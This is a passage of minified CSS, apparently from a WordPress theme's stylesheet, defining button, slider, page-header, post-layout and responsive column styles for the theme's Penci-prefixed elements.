a.pcbtn,.pcbtn-malign-left a.pcbtn,.pcbtn-malign-right a.pcbtn{width:auto;display:inline-block}.pcbtn-malign-justify a.pcbtn{display:block;width:100%}}.pcbtn-wrapperin{text-align:center;padding:10px 20px;display:block}.pcbtn-align-justify .pcbtn-wrapperin,.pcbtn-align-justify .pcbtn-wrapperin span{width:100%}.pcbtn-content svg{width:16px;height:auto;vertical-align:middle;transition:fill .3s}.pcbtn-icon-left span span i,.pcbtn-icon-left span span svg{margin-right:5px}.pcbtn-icon-right span span i,.pcbtn-icon-right span span svg{margin-left:5px}.pcbtn-wrapperin span{display:block;line-height:1.3}.pcbtn-wrapperin span.pcbtn-content{text-transform:uppercase;font-weight:500;z-index:5;position:relative;transition:all .3s}.pcbtn-wrapperin span.pcbtn-subtext{margin:5px 0 0 0;font-size:12px;z-index:5;position:relative}.penci-ctslide-wrap{height:400px;position:relative}.penci-ctslide-wrap:before{display:block;width:100%;background:0 0!important;box-shadow:none!important}.penci-custom-slide{position:absolute;top:0;bottom:0;left:0;right:0}.penci-ctslide-inner{height:100%;width:100%;z-index:10}.penci-ctslide-bg,.penci-ctslider-bg-overlay{position:absolute;top:0;bottom:0;left:0;right:0;z-index:10;-webkit-background-size:cover;background-size:cover;background-position:center;background-repeat:no-repeat;min-width:100%;min-height:100%;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;-o-transition-property:transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transition-duration:10s;-o-transition-duration:10s;transition-duration:10s}.penci-ctslider-featimg{position:absolute;top:0;bottom:0;left:0;right:0;z-index:15;background:0 0!important}.penci-ctslide-inner,.penci-ctslider-content{position:relative;z-index:50}.penci-ctslide-inner{display:flex}.penci-slides-wrap .owl-item.active .penci-ctslide-bg{-webkit-animation-timing-function:linear;animation-timing-function:linear;-webkit-animation-duration:20s;animation-duration:20s}.penci-slides-wrap .owl-item.active .penci-ctslide-bg.penci-ctslider-ken-in{-webkit-transform:scale(1.2);-ms-transform:scale(1.2);transform:scale(1.2);-webkit-animation-name:penci-ken-burns-in;animation-name:penci-ken-burns-in}.penci-slides-wrap .owl-item.active .penci-ctslide-bg.penci-ctslider-ken-out{-webkit-transform:scale(1);-ms-transform:scale(1);transform:scale(1);-webkit-animation-name:penci-ken-burns-out;animation-name:penci-ken-burns-out}.penci-slides-wrap .penci-ctslider-content{padding:30px;width:100%}.penci-v-poswrap-top .penci-ctslide-inner{-webkit-box-align:start;-webkit-align-items:flex-start;-ms-flex-align:start;align-items:flex-start}.penci-v-poswrap-bottom .penci-ctslide-inner{-webkit-box-align:end;-webkit-align-items:flex-end;-ms-flex-align:end;align-items:flex-end}.penci-v-poswrap-middle .penci-ctslide-inner{-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.penci-h-poswrap-left .penci-ctslide-inner{-webkit-box-pack:start;-webkit-justify-content:flex-start;-ms-flex-pack:start;justify-content:flex-start}.penci-h-poswrap-right .penci-ctslide-inner{-webkit-box-pack:end;-webkit-justify-content:flex-end;-ms-flex-pack:end;justify-content:flex-end}.penci-h-poswrap-center .penci-ctslide-inner{-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.xpenci-slides-wrap div:not(.lslide)>.penci-ctslide-inner{display:none}.penci-slides-wrap .pencislider-caption,.penci-slides-wrap .pencislider-title{color:#fff}.penci-slides-wrap .penci-slider_btnwrap,.penci-slides-wrap .pencislider-caption,.penci-slides-wrap .pencislider-title{opacity:0;-webkit-animation-fill-mode:both;-moz-animation-fill-mode:both;-ms-animation-fill-mode:both;-o-animation-fill-mode:both;animation-fill-mode:both;-webkit-animation-duration:.65s;-moz-animation-duration:.65s;-ms-animation-duration:.65s;-o-animation-duration:.65s;animation-duration:.65s}.penci-slides-wrap .pencislider-title{font-size:30px;line-height:1.2em;text-transform:uppercase;margin:0 0 15px 0}.penci-slides-wrap .pencislider-caption{font-size:16px;line-height:1.4;margin:0 0 25px 0}.penci-slides-wrap .penci-ctslider-content>:nth-child(1){animation-delay:calc(var(--pcfs-delay) + .3s)}.penci-slides-wrap .penci-ctslider-content>:nth-child(2){animation-delay:calc(var(--pcfs-delay) + .5s)}.penci-slides-wrap .penci-ctslider-content>:nth-child(3){animation-delay:calc(var(--pcfs-delay) + .7s)}.penci-slides-wrap .pencislider-caption-overlay .pslider-bgoverlay-inner,.penci-slides-wrap .pencislider-title-overlay .pslider-bgoverlay-inner{position:relative;padding:5px 12px;display:inline-block;vertical-align:top}.penci-slides-wrap .pencislider-caption-overlay .pslider-bgoverlay-inner:before,.penci-slides-wrap .pencislider-title-overlay .pslider-bgoverlay-inner:before{content:"";position:absolute;top:0;bottom:0;right:0;left:0}.penci-slides-wrap .pencislider-caption-overlay .pslider-bgoverlay-inner span,.penci-slides-wrap .pencislider-title-overlay .pslider-bgoverlay-inner span{position:relative;z-index:10;padding:0;margin:0}.penci-slides-wrap .penci-slider_btnwrap{margin:0;background:0 0;padding:0;vertical-align:top;animation-delay:1.3s;-webkit-animation-delay:1.3s}.penci-slider_btnwrap .pencislider-btn{display:inline-block;background:0 0;border:1px solid #fff;color:#fff;line-height:1;height:36px;padding:0 20px;border-radius:0;font-size:12px;font-weight:600;width:auto}.penci-slider_btnwrap .pencislider-btn>span{width:100%;height:100%;display:flex;justify-content:center;align-items:center;white-space:nowrap}.penci-slider_btnwrap .pencislider-btn:hover{background:var(--pcaccent-cl);border-color:var(--pcaccent-cl);color:#fff;text-decoration:none}.penci-slider_btnwrap .pencislider-btn:not(:last-child){margin-right:15px}@keyframes penci-ken-burns-in{0%{transform:scale(1)}100%{transform:scale(1.2)}}@keyframes penci-ken-burns-out{0%{transform:scale(1.2)}100%{transform:scale(1)}}.penci-slides-wrap .active .penci-fadeInDown .penci-slider_btnwrap,.penci-slides-wrap .active .penci-fadeInDown .pencislider-caption,.penci-slides-wrap .active .penci-fadeInDown .pencislider-title{-webkit-animation-name:pencifadeInDown;-moz-animation-name:pencifadeInDown;-o-animation-name:pencifadeInDown;animation-name:pencifadeInDown}.penci-slides-wrap .active .penci-fadeInUp .penci-slider_btnwrap,.penci-slides-wrap .active .penci-fadeInUp .pencislider-caption,.penci-slides-wrap .active .penci-fadeInUp .pencislider-title{-webkit-animation-name:pencifadeInUp;-moz-animation-name:pencifadeInUp;-o-animation-name:pencifadeInUp;animation-name:pencifadeInUp}.penci-slides-wrap .active .penci-fadeInLeft .penci-slider_btnwrap,.penci-slides-wrap .active .penci-fadeInLeft .pencislider-caption,.penci-slides-wrap .active .penci-fadeInLeft .pencislider-title{-webkit-animation-name:pencifadeInLeft;-moz-animation-name:pencifadeInLeft;-o-animation-name:pencifadeInLeft;animation-name:pencifadeInLeft}.penci-slides-wrap .active .penci-fadeInRight .penci-slider_btnwrap,.penci-slides-wrap .active .penci-fadeInRight .pencislider-caption,.penci-slides-wrap .active .penci-fadeInRight .pencislider-title{-webkit-animation-name:pencifadeInRight;-moz-animation-name:pencifadeInRight;-o-animation-name:pencifadeInRight;animation-name:pencifadeInRight}@-webkit-keyframes pencifadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,40px,0);transform:translate3d(0,40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencifadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,40px,0);transform:translate3d(0,40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@-webkit-keyframes pencifadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-50px,0,0);transform:translate3d(-50px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencifadeInLeft{0%{opacity:0;-webkit-transform:translate3d(-50px,0,0);transform:translate3d(-50px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@-webkit-keyframes pencifadeInRight{0%{opacity:0;-webkit-transform:translate3d(50px,0,0);transform:translate3d(50px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencifadeInRight{0%{opacity:0;-webkit-transform:translate3d(50px,0,0);transform:translate3d(50px,0,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@-webkit-keyframes pencifadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-40px,0);transform:translate3d(0,-40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}@keyframes pencifadeInDown{0%{opacity:0;-webkit-transform:translate3d(0,-40px,0);transform:translate3d(0,-40px,0)}100%{opacity:1;-webkit-transform:none;transform:none}}.popUpfadeInDown{animation-name:fadeInDown}@keyframes fadeInDown{from{opacity:0;transform:translate3d(0,-100%,0)}to{opacity:1;transform:none}}@keyframes popUpfadeInDown{from{opacity:0;transform:translate3d(0,-80px,0)}to{opacity:1;transform:none}}.penci-page-header-wrap{background:#dfdfdf;color:#111;overflow:hidden;padding-top:80px;padding-bottom:80px;margin-bottom:60px;background-size:cover;background-position:center center;background-repeat:no-repeat;text-align:center}.penci-body-epageheader #header,.penci-body-epageheader .penci-header-signup-form{margin-bottom:0;margin-top:0}.penci-page-header-wrap .container.penci-breadcrumb{margin-top:0;width:100%;margin-bottom:0}.penci-page-header-wrap .penci-page-header-title{position:relative;text-transform:uppercase;font-size:30px;font-weight:600;color:#111;line-height:1;padding:0 0 14px;margin:0 0 23px}.penci-page-header-wrap .penci-page-header-title:before{content:"";position:absolute;border-top:2px solid;width:40px;bottom:0;left:50%;color:inherit;opacity:.2;margin-left:-20px}.penci-page-header-wrap.penci-phhide-bread .penci-page-header-title{margin-bottom:0!important}.penci-page-header-wrap.penci-phhide-line .penci-page-header-title{padding-bottom:0!important}.penci-page-header-wrap.penci-phhide-line .penci-page-header-title:before{content:none}.penci-page-header-wrap.penci-pheader-left{text-align:left}.penci-page-header-wrap.penci-pheader-left .penci-page-header-title:before{left:0;margin-left:0}.penci-page-header-wrap.penci-pheader-center{text-align:center}.penci-page-header-wrap.penci-pheader-center .penci-page-header-title:before{left:50%;margin-left:-20px}.penci-page-header-wrap.penci-pheader-right{text-align:right}.penci-page-header-wrap.penci-pheader-right .penci-page-header-title:before{left:auto;right:0}.penci-latest-posts-left .grid-header-box,.penci-latest-posts-left .header-list-style,.penci-latest-posts-left .header-standard{text-align:left}.penci-latest-posts-left .grid-header-box:after,.penci-latest-posts-left .header-list-style:after,.penci-latest-posts-left .header-standard.standard-overlay-meta:after,.penci-latest-posts-left .header-standard:after,.penci-latest-posts-left .list-post .header-list-style:after,.penci-latest-posts-left .list-post.list-boxed-post .header-list-style:after,.penci-latest-posts-left.penci-latest-posts-mixed .grid-header-box:after{left:0;margin-left:0;right:auto}.penci-latest-posts-left .header-standard.standard-overlay-meta{padding-left:20px!important;padding-right:10px}.penci-latest-posts-left .header-standard.standard-overlay-meta:after{left:20px;right:auto}.penci-latest-posts-left .grid-overlay-meta .grid-header-box{padding-left:10px;padding-right:5px}.container .penci-latest-posts-left .penci-grid li.magazine-layout.grid-overlay-meta .grid-header-box:after,.penci-latest-posts-left .grid-overlay-meta .grid-header-box:after{left:10px;right:auto}.penci-latest-posts-left.penci-latest-posts-grid .grid-overlay-meta .grid-header-box,.penci-latest-posts-left.penci-latest-posts-grid-2 .grid-overlay-meta .grid-header-box{margin-left:0;padding-left:0}.penci-latest-posts-right.penci-latest-posts-grid .grid-overlay-meta .grid-header-box,.penci-latest-posts-right.penci-latest-posts-grid-2 .grid-overlay-meta .grid-header-box{margin-right:0;padding-right:0}.penci-latest-posts-center .grid-header-box,.penci-latest-posts-center .header-list-style,.penci-latest-posts-center .header-standard{text-align:center}.penci-latest-posts-center .grid-header-box:after,.penci-latest-posts-center .header-list-style:after,.penci-latest-posts-center .header-standard.standard-overlay-meta:after,.penci-latest-posts-center .header-standard:after,.penci-latest-posts-center .list-post .header-list-style:after,.penci-latest-posts-center .list-post.list-boxed-post .header-list-style:after,.penci-latest-posts-center.penci-latest-posts-mixed .grid-header-box:after{left:50%;right:auto;margin-left:-30px}.penci-latest-posts-center .header-standard.standard-overlay-meta{padding-left:10px;padding-right:10px}.penci-latest-posts-right .grid-header-box,.penci-latest-posts-right .header-list-style,.penci-latest-posts-right .header-standard{text-align:right}.penci-latest-posts-right .grid-header-box:after,.penci-latest-posts-right .header-list-style:after,.penci-latest-posts-right .header-standard.standard-overlay-meta:after,.penci-latest-posts-right .header-standard:after,.penci-latest-posts-right .list-post .header-list-style:after,.penci-latest-posts-right .list-post.list-boxed-post .header-list-style:after,.penci-latest-posts-right.penci-latest-posts-mixed .grid-header-box:after{left:auto;margin-left:0;right:0;margin-right:0}.penci-latest-posts-right .grid-overlay-meta .grid-header-box{padding-right:10px;padding-left:5px}.container .penci-latest-posts-right .penci-grid li.magazine-layout.grid-overlay-meta .grid-header-box:after,.penci-latest-posts-right .grid-overlay-meta .grid-header-box:after{left:auto;right:10px}.penci-latest-posts-right .header-standard.standard-overlay-meta{padding-left:10px;padding-right:20px!important}.penci-latest-posts-right .header-standard.standard-overlay-meta:after{left:auto;right:20px}.penci-grid-excerpt-left .penci-featured-infor .item-content,.penci-grid-excerpt-left .penci-grid .grid-mixed .mixed-detail .item-content,.penci-grid-excerpt-left .penci-grid li .item .item-content,.penci-grid-excerpt-left .penci-masonry .item-masonry .item-content,.penci-std-continue-left .penci-more-link,.penci-std-excerpt-left .penci-grid .mixed-detail .item-content,.penci-std-excerpt-left .standard-main-content{text-align:left}.penci-grid-excerpt-center .penci-featured-infor .item-content,.penci-grid-excerpt-center .penci-grid .grid-mixed .mixed-detail .item-content,.penci-grid-excerpt-center .penci-grid li .item .item-content,.penci-grid-excerpt-center .penci-masonry .item-masonry .item-content,.penci-std-continue-center .penci-more-link,.penci-std-excerpt-center .penci-grid .mixed-detail .item-content,.penci-std-excerpt-center .standard-main-content{text-align:center}.penci-grid-excerpt-right .penci-featured-infor .item-content,.penci-grid-excerpt-right .penci-grid .grid-mixed .mixed-detail .item-content,.penci-grid-excerpt-right .penci-grid li .item .item-content,.penci-grid-excerpt-right .penci-masonry .item-masonry .item-content,.penci-std-continue-right .penci-more-link,.penci-std-excerpt-right .penci-grid .mixed-detail .item-content,.penci-std-excerpt-right .standard-main-content{text-align:right}.penci-std-continue-left .penci-more-link a.more-link:before,.penci-std-continue-right .penci-more-link a.more-link:after{content:none}.penci-std-continue-center .penci-more-link a.more-link:after,.penci-std-continue-center .penci-more-link a.more-link:before,.penci-std-continue-left .penci-more-link a.more-link:after,.penci-std-continue-right .penci-more-link a.more-link:before{content:""}@media only screen and (max-width:1400px) and (min-width:961px){.penci-two-sidebar .container.penci-breadcrumb{width:100%;padding:0 10px}}@media only screen and (max-width:960px) and (min-width:768px){.penci-two-sidebar .container.penci-breadcrumb{width:726px}}@media only screen and (max-width:767px) and (min-width:480px){.penci-two-sidebar .container.penci-breadcrumb{width:480px}}@media only screen and (max-width:479px){.penci-two-sidebar .container.penci-breadcrumb{width:100%}.penci-slides-wrap .penci-ctslider-content{padding:10px}.btn-twoline .penci-slider_btnwrap{white-space:pre-line}.btn-twoline .penci-slider_btnwrap .pencislider-btn:not(:last-child){margin-right:0!important}.btn-twoline .penci-slider_btnwrap .pencislider-btn.pencislider-btn-2{margin-top:15px}}@media only screen and (min-width:768px){.penci-latest-posts-el.penci-latest-posts-boxed-1 .list-boxed-post .item,.penci-latest-posts-el.penci-latest-posts-standard-boxed-1 .list-boxed-post .item{display:flex;flex-wrap:wrap;align-items:center;justify-content:center}.penci-latest-posts-el.penci-latest-posts-boxed-1 .list-boxed-post .item .content-list-right,.penci-latest-posts-el.penci-latest-posts-standard-boxed-1 .list-boxed-post .item .content-list-right{height:auto;min-height:0}.penci-latest-posts-el.penci-latest-posts-boxed-1 .list-boxed-post:nth-child(2n+2) .item .content-list-right,.penci-latest-posts-el.penci-latest-posts-standard-boxed-1 .list-boxed-post:nth-of-type(2n+2) .item .content-list-right{order:1}.penci-latest-posts-el.penci-latest-posts-boxed-1 .list-boxed-post:nth-child(2n+2) .item .thumbnail,.penci-latest-posts-el.penci-latest-posts-standard-boxed-1 .list-boxed-post:nth-of-type(2n+2) .item .thumbnail{order:2}}.penci-latest-posts-el .penci-pagination{margin-top:30px;margin-bottom:0}.penci-latest-posts-el.penci-latest-posts-boxed-2 .penci-grid li.list-boxed-post-2:last-child{margin-bottom:0!important}.penci-latest-posts-el.penci-latest-posts-boxed-1 .penci-wrapper-data>.list-boxed-post:last-child,.penci-latest-posts-el.penci-latest-posts-classic .penci-wrapper-data>article:last-child,.penci-latest-posts-el.penci-latest-posts-classic-boxed-1 .penci-wrapper-data>.list-boxed-post:last-child,.penci-latest-posts-el.penci-latest-posts-classic-grid .penci-wrapper-data>.grid-style:last-child,.penci-latest-posts-el.penci-latest-posts-classic-grid-2 .penci-wrapper-data>.grid-style:last-child,.penci-latest-posts-el.penci-latest-posts-classic-list .penci-wrapper-data>.list-post:last-child,.penci-latest-posts-el.penci-latest-posts-featured .penci-wrapper-data>.grid-featured:last-child,.penci-latest-posts-el.penci-latest-posts-grid .penci-wrapper-data>.grid-style:last-child,.penci-latest-posts-el.penci-latest-posts-grid-2 .penci-wrapper-data>.grid-style:last-child,.penci-latest-posts-el.penci-latest-posts-list .penci-wrapper-data>.list-post:last-child,.penci-latest-posts-el.penci-latest-posts-mixed .penci-grid>li:last-child,.penci-latest-posts-el.penci-latest-posts-mixed-2 .penci-grid>li:last-child,.penci-latest-posts-el.penci-latest-posts-overlay .penci-wrapper-data>.grid-overlay:last-child,.penci-latest-posts-el.penci-latest-posts-photography .penci-grid>.typography-style:last-child,.penci-latest-posts-el.penci-latest-posts-standard .penci-wrapper-data>article:last-child,.penci-latest-posts-el.penci-latest-posts-standard-boxed-1 .penci-wrapper-data>.list-boxed-post:last-child,.penci-latest-posts-el.penci-latest-posts-standard-grid .penci-wrapper-data>.grid-style:last-child,.penci-latest-posts-el.penci-latest-posts-standard-grid-2 .penci-wrapper-data>.grid-style:last-child,.penci-latest-posts-el.penci-latest-posts-standard-list .penci-wrapper-data>.list-post:last-child{margin-bottom:0!important}@media only screen and (min-width:961px){.penci-latest-posts-el.penci-latest-posts-classic-grid .penci-wrapper-data>.grid-style:nth-last-of-type(2),.penci-latest-posts-el.penci-latest-posts-classic-grid .penci-wrapper-data>.grid-style:nth-last-of-type(3),.penci-latest-posts-el.penci-latest-posts-classic-grid-2 .penci-wrapper-data>.grid-style:nth-last-of-type(2),.penci-latest-posts-el.penci-latest-posts-grid .penci-wrapper-data>.grid-style:nth-last-child(2),.penci-latest-posts-el.penci-latest-posts-grid .penci-wrapper-data>.grid-style:nth-last-child(3),.penci-latest-posts-el.penci-latest-posts-grid-2 .penci-wrapper-data>.grid-style:nth-last-child(2),.penci-latest-posts-el.penci-latest-posts-mixed .penci-grid>li.grid-style:nth-last-of-type(2),.penci-latest-posts-el.penci-latest-posts-mixed-2 .penci-grid>li.grid-style:nth-last-of-type(2),.penci-latest-posts-el.penci-latest-posts-mixed-2.penci-el-mixed-s1 .penci-grid>li.grid-style:nth-last-of-type(3),.penci-latest-posts-el.penci-latest-posts-mixed.penci-el-mixed-s1 .penci-grid>li.grid-style:nth-last-of-type(3),.penci-latest-posts-el.penci-latest-posts-photography .penci-grid>.typography-style:nth-last-child(2),.penci-latest-posts-el.penci-latest-posts-standard-grid .penci-wrapper-data>.grid-style:nth-last-of-type(2),.penci-latest-posts-el.penci-latest-posts-standard-grid .penci-wrapper-data>.grid-style:nth-last-of-type(3),.penci-latest-posts-el.penci-latest-posts-standard-grid-2 .penci-wrapper-data>.grid-style:nth-last-of-type(2){margin-bottom:0!important}}@media only screen and (max-width:960px) and (min-width:768px){.penci-latest-posts-el.penci-latest-posts-classic-grid .penci-wrapper-data>.grid-style:nth-last-of-type(2),.penci-latest-posts-el.penci-latest-posts-classic-grid-2 .penci-wrapper-data>.grid-style:nth-last-of-type(2),.penci-latest-posts-el.penci-latest-posts-grid .penci-wrapper-data>.grid-style:nth-last-child(2),.penci-latest-posts-el.penci-latest-posts-grid-2 .penci-wrapper-data>.grid-style:nth-last-child(2),.penci-latest-posts-el.penci-latest-posts-mixed .penci-grid>li.grid-style:nth-last-of-type(2),.penci-latest-posts-el.penci-latest-posts-mixed-2 .penci-grid>li.grid-style:nth-last-of-type(2),.penci-latest-posts-el.penci-latest-posts-photography .penci-grid>.typography-style:nth-last-child(2),.penci-latest-posts-el.penci-latest-posts-standard-grid .penci-wrapper-data>.grid-style:nth-last-of-type(2),.penci-latest-posts-el.penci-latest-posts-standard-grid-2 .penci-wrapper-data>.grid-style:nth-last-of-type(2){margin-bottom:0!important}}@media only screen and (max-width:1200px) and (min-width:961px){.container.two-sidebar .penci-sidebar-left,.layout-12_14_14 .penci-sidebar-left,.layout-14_12_14 .penci-sidebar-left,.layout-14_14_12 .penci-sidebar-right,.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-1,.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-2,.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1{display:none!important}.container.two-sidebar .penci-sidebar-content,.layout-12_14_14 .penci-vc-sidebar,.layout-14_12_14 .penci-vc-sidebar,.layout-14_14_12 .penci-vc-sidebar,.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-2,.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-3,.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3{width:29.06%}.layout-14_14_12 .penci-main-content,.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-50.penci-ercol-order-3,.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-50.penci-ercol-order-1,.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2{width:70.94%}.container.two-sidebar #main,.layout-12_14_14 .penci-main-content,.layout-14_12_14 .penci-main-content{padding-left:0;width:70.94%}}@media only screen and (max-width:1200px) and (min-width:768px){.penci-repons-elsection.penci-structure-34 .elementor-row{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.penci-repons-elsection.penci-structure-34 .elementor-column.elementor-col-16.penci-ercol-order-1,.penci-repons-elsection.penci-structure-34 .elementor-column.elementor-col-16.penci-ercol-order-3{width:50%}.penci-repons-elsection.penci-structure-34 .elementor-column.elementor-col-66.penci-ercol-order-2{width:100%;order:1}.penci-repons-elsection.penci-structure-34 .elementor-column.elementor-col-16.penci-ercol-order-3{order:3}.penci-repons-elsection.penci-structure-34 .elementor-column.elementor-col-16.penci-ercol-order-1{order:2}}@media only screen and (max-width:1400px){.penci-repons-elsection.penci-structure-50 .elementor-row,.penci-repons-elsection.penci-structure-60 .elementor-row{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.penci-repons-elsection.penci-structure-50 .elementor-column.penci-ercol-20,.penci-repons-elsection.penci-structure-60 .elementor-column.penci-ercol-16{width:33.3333%}}@media only screen and (max-width:1170px){.penci-repons-elsection.penci-structure-40 .elementor-row{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.penci-repons-elsection.penci-structure-40 .elementor-column.penci-ercol-25,.penci-repons-elsection.penci-structure-50 .elementor-column.penci-ercol-20,.penci-repons-elsection.penci-structure-60 .elementor-column.penci-ercol-16{width:50%}}@media only screen and (max-width:960px){.container.two-sidebar #main,.container.two-sidebar .penci-sidebar-content{width:100%}.container.two-sidebar #main{order:1}.penci-vc-row .penci-vc-column{width:100%;padding-left:10px;padding-right:10px}.penci-countdown-show5 .penci-countdown-section,.penci-countdown-show6 .penci-countdown-section,.penci-countdown-show7 .penci-countdown-section{width:33.33333%}.penci-image-gallery-s2 .penci-galitem-1{width:100%;float:left}.penci-image-gallery-s2 .penci-post-smalls{width:100%}.penci-image-gallery-s2 .penci-post-smalls .penci-gallery-item{width:50%;float:left}.penci-video_playlist .penci-video-nav,.penci-video_playlist .penci-video-play{width:100%;float:none;position:relative}.penci-video_playlist .penci-video-nav .playlist-panel-item{position:absolute;bottom:0;left:0;font-size:10px;width:20px;height:20px;text-align:center;vertical-align:middle;line-height:20px;z-index:10;background:#111;color:#fff}.penci-repons-elsection.penci-structure-21 .elementor-row,.penci-repons-elsection.penci-structure-22 .elementor-row,.penci-repons-elsection.penci-structure-30 .elementor-row{-webkit-flex-wrap:wrap;-ms-flex-wrap:wrap;flex-wrap:wrap}.penci-repons-elsection.penci-structure-21 .elementor-column.penci-ercol-33,.penci-repons-elsection.penci-structure-21 .elementor-column.penci-ercol-66,.penci-repons-elsection.penci-structure-22 .elementor-column.penci-ercol-33,.penci-repons-elsection.penci-structure-22 .elementor-column.penci-ercol-66,.penci-repons-elsection.penci-structure-30 .elementor-column.penci-ercol-33{width:100%}.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-1,.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-2,.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1{display:block;width:50%}.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-25.penci-ercol-order-2,.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-25.penci-ercol-order-3,.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3{width:50%}.penci-repons-elsection.penci-structure-31 .elementor-column.elementor-col-50.penci-ercol-order-3,.penci-repons-elsection.penci-structure-32 .elementor-column.elementor-col-50.penci-ercol-order-1,.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2{width:100%}.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3{order:2}.penci-repons-elsection.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2{order:1}.footer-subscribe .mc4wp-form .mdes{width:100%;text-align:center;margin-left:0}}@media only screen and (max-width:767px){#main .penci-repons-elsection .elementor-column{width:100%!important}#main .penci-repons-elsection .elementor-column:not(:last-child){margin-bottom:20px}.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-col-16+.elementor-column.elementor-col-66>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-col-25+.elementor-col-25+.elementor-col-50>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-col-50+.elementor-col-25+.elementor-col-25>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-col-50+.elementor-col-25>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column.elementor-col-25+.elementor-column.elementor-col-50>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column.elementor-col-33+.elementor-column.elementor-col-66>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column.elementor-col-66>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="16"]+.elementor-column[data-col="66"]>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="25"]+.elementor-column[data-col="25"]+.elementor-column[data-col="50"]>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="25"]+.elementor-column[data-col="50"]>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="33"]+.elementor-column[data-col="66"]>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="50"]+.elementor-column[data-col="25"]+.elementor-column[data-col="25"]>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="50"]+.elementor-column[data-col="25"]>.elementor-element-populated,.penci-repons-elsection .elementor-column-gap-default>.elementor-row>.elementor-column[data-col="66"]>.elementor-element-populated{padding-left:10px;padding-right:10px}.penci-countdown-show4 .penci-countdown-section,.penci-countdown-show5 .penci-countdown-section,.penci-countdown-show6 .penci-countdown-section,.penci-countdown-show7 .penci-countdown-section{width:50%}.penci-con_sb1_sb2.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3,.penci-con_sb2_sb1.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,.penci-sb1_con_sb2.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2,.penci-sb1_sb2_con.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,.penci-sb2_con_sb1.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2,.penci-sb2_sb1_con.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3{order:2}.penci-con_sb1_sb2.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,.penci-con_sb2_sb1.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3,.penci-sb1_con_sb2.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-1,.penci-sb1_sb2_con.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2,.penci-sb2_con_sb1.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3,.penci-sb2_sb1_con.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2{order:3}.penci-con_sb1_sb2.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2,.penci-con_sb2_sb1.penci-structure-33 .elementor-column.elementor-col-50.penci-ercol-order-2,.penci-sb1_con_sb2.penci-structure-33 .elementor-column.elementor-col-25.penci-ercol-order-3,.penci-sb1_sb2_con.penci-structure-33 